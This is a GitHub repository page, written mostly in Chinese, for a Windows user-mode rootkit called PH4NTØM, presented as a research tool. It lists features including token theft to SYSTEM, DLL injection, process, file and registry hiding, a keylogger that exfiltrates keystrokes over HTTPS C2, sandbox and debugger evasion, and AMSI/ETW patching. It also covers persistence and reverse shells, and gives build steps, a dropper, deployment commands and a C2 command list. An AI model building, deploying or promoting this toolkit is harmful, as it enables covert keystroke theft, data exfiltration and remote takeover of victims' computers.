28Zaaky/PHANTOM-ROOTKIT

GitHub: 28Zaaky/PHANTOM-ROOTKIT

一个用于研究的内态 Rootkit,集成隐藏、权限提升与 HTTPS C2,旨在帮助安全研究人员理解反检测与绕过技术。

Stars: 35 | Forks: 4

# PH4NTØM Rootkit ![C2截图](https://github.com/28Zaaky/Usermode-Rootkit/blob/82292f2a6d0c4f46ad9b3db686fc275e6ce17589/Capture%20d'%C3%A9cran%202025-12-12%20173844.png) Windows 用户模式 Rootkit,实现用于研究的隐身技术、权限提升和 C2 基础设施。 ## 功能特性 **权限提升:** - 令牌窃取(winlogon.exe → SYSTEM) - 命名管道模拟 - SeDebugPrivilege 提升 **隐身与隐藏:** - 内联 Hook(x64 跳板)用于进程/文件/注册表隐藏 - 通过 CreateRemoteThread 进行 DLL 注入 - 使用内存映射文件进行 IPC 同步 - 字符串混淆(自定义加密) **键盘记录器:** - 通过 SetWindowsHookEx(WH_KEYBOARD_LL)进行底层键盘 Hook - 实时捕获所有按键 + 活动窗口标题 - 带 wstring 管理的缓冲传输 - 通过 HTTPS 信标自动 C2 渗出 - 带命令 ID 跟踪的 OnKeylogData 回调 **反分析:** - 虚拟机检测(5 种方法:CPUID、注册表、硬件检查) - 调试器检测(PEB、定时、NtQueryInformationProcess) - 沙箱逃逸(运行时间、用户活动、资源检查) - NTDLL 取消 Hook(EDR 绕过) - ETW/AMSI 修补 **C2 基础设施:** - 带 Web 仪表板的 HTTPS 服务器(Flask,端口 8443) - 带 cmd.exe 重定向的交互式 Shell - 带 SYSTEM 令牌的 TCP 反向 Shell - 实时键盘记录与渗出(底层 Hook,所有按键 + 窗口标题) - 文件渗出支持 - 15+ 条远程命令 **持久化:** - 计划任务(触发条件:登录) - 注册表 Run 键 - WMI 事件订阅 **规避:** - 间接系统调用(SysWhispers 风格) - API 哈希(djb2) - JitterSleep() 定时变化 - RAII 句柄管理 ## 构建 **要求:** - MinGW-w64(GCC 15.2+) - Windows 11 x64 - PowerShell 5.1+ **编译:** ``` .\build.ps1 ``` **输出**(`deploy_package/`): - `r00tkit.exe` - 主 Rootkit(1.14 MB) - `processHooks.dll` - 进程隐藏(2.74 MB) - `fileHooks.dll` - 文件系统隐藏(2.74 MB) - `registryHooks.dll` - 注册表隐藏(2.74 MB) - `PrivEsc_C2.exe` - 权限提升二进制文件 - `Dropper.exe` - HTTP 部署释放器 ## 部署 **1. 配置 C2:** 编辑 `dropper/Dropper.cpp`: ``` const wchar_t *HTTP_SERVER = L"YOUR_SERVER_IP"; const wchar_t *C2_SERVER_URL = L"https://YOUR_SERVER_IP:8443"; ``` **2. 启动基础设施:** ``` # C2 服务器 cd server python c2_server.py # 仪表板: https://localhost:8443/dashboard # HTTP 服务器(用于投放器) python http_server.py # 在端口 8000 提供文件服务 ``` **3. 在目标上部署:** ``` # 选项 A:直接执行 .\r00tkit.exe # 选项 B:投放器(下载并安装到 AppData) .\Dropper.exe ``` ## C2 命令 ``` hide_process Hide process from Task Manager hide_file Hide file/folder from Explorer hide_registry Hide registry key from Regedit unhide_process Restore process visibility unhide_file Restore file visibility unhide_registry Restore registry key visibility unhide_all Restore all hidden items privesc Escalate to SYSTEM via Named Pipe or token stealing revshell_system Launch TCP reverse shell with SYSTEM token revshell_start Start interactive cmd.exe session revshell_input Execute command in session revshell_output Read buffered output revshell_stop Terminate session shell Execute single shell command exfil Exfiltrate file content sleep Set beacon interval die Stop rootkit ``` ## 架构 ``` rootkit.exe ├── Anti-Analysis checks (VM, debugger, sandbox) ├── NTDLL unhooking + ETW/AMSI bypass ├── Persistence installation (Task + Registry + WMI) ├── C2 connection (HTTPS beacon loop) └── Keylogger (low-level hook) On-demand injection: ├── taskmgr.exe → processHooks.dll (hide processes) ├── explorer.exe → fileHooks.dll (hide files) └── regedit.exe → registryHooks.dll (hide registry keys) ``` ## 检测规避 **二进制混淆:** - 剥离符号(`-s`) - 移除 RTTI(`-fno-rtti`) - 优化体积(`-Os`) - 节区垃圾回收(`--gc-sections`) - 编译时字符串加密 **运行时规避:** - 间接系统调用(无直接 ntdll 调用) - 通过哈希解析 API(无导入地址表项) - 所有睡眠操作抖动(±20% 变化) - RAII 句柄管理(无句柄泄漏) **反检测:** - 使用 `CREATE_NEW_PROCESS_GROUP` 标志创建进程 - 信标间隔可通过 C2 配置 - 通过 processHooks.dll 注入实现进程隐藏 ## 技术说明 **内联 Hook:** - 14 字节 x64 跳板(`mov rax, addr; jmp rax`) - 原始前言备份用于取消 Hook - 使用 VirtualProtect 设置 RWX 权限 **令牌窃取:** 1. 启用 SeDebugPrivilege 2. 通过快照查找 winlogon.exe PID 3. 使用 NtOpenProcess(间接系统调用)打开进程 4. 使用 MAXIMUM_ALLOWED 复制令牌 5. 通过 ImpersonateLoggedOnUser 模拟 **间接系统调用:** - 从磁盘加载新鲜的 ntdll.dll - 从干净副本提取 SSN - 通过模式搜索获取系统调用小工具位置 - 使用 doysyscall.S 的 DoSyscall 存根执行 **C2 协议:** - 使用自签名证书的 HTTPS - 异或加密(密钥:0x7D) - 使用唯一 ID(PID + 时间戳)进行代理注册 - 带结果存储的任务队列 **联系:** 28zaakypro@proton.me
标签:AMSI修补, API哈希, C2通信, Chrome扩展, CPUID, djb2, DLL注入, DNS 反向解析, DNS 解析, DOM解析, ETW修补, exfiltration, Flask, HTTPS C2, inline hooking, IP 地址批量处理, JitterSleep, NTDLL取消挂钩, Peb检测, RAII句柄管理, SeDebugPrivilege, SetWindowsHookEx, SYSTEM, UML, usermode rootkit, Web仪表板, WH_KEYBOARD_LL, Windows rootkit, winlogon.exe, WMI事件订阅, 令牌窃取, 低水平键盘钩子, 内存映射文件, 内核模式研究, 协议分析, 反调试, 命名管道模拟, 字符串混淆, 数据包嗅探, 文件外传, 文件隐藏, 时间检测, 权限提升, 沙箱规避, 注册表Run键, 注册表检测, 注册表隐藏, 流量审计, 用户活动检测, 硬件检测, 网络可见性, 网络安全审计, 自定义加密, 虚拟机检测, 计划任务, 调试器检测, 资源检测, 运行时间检测, 进程隐藏, 逆向工具, 间接系统调用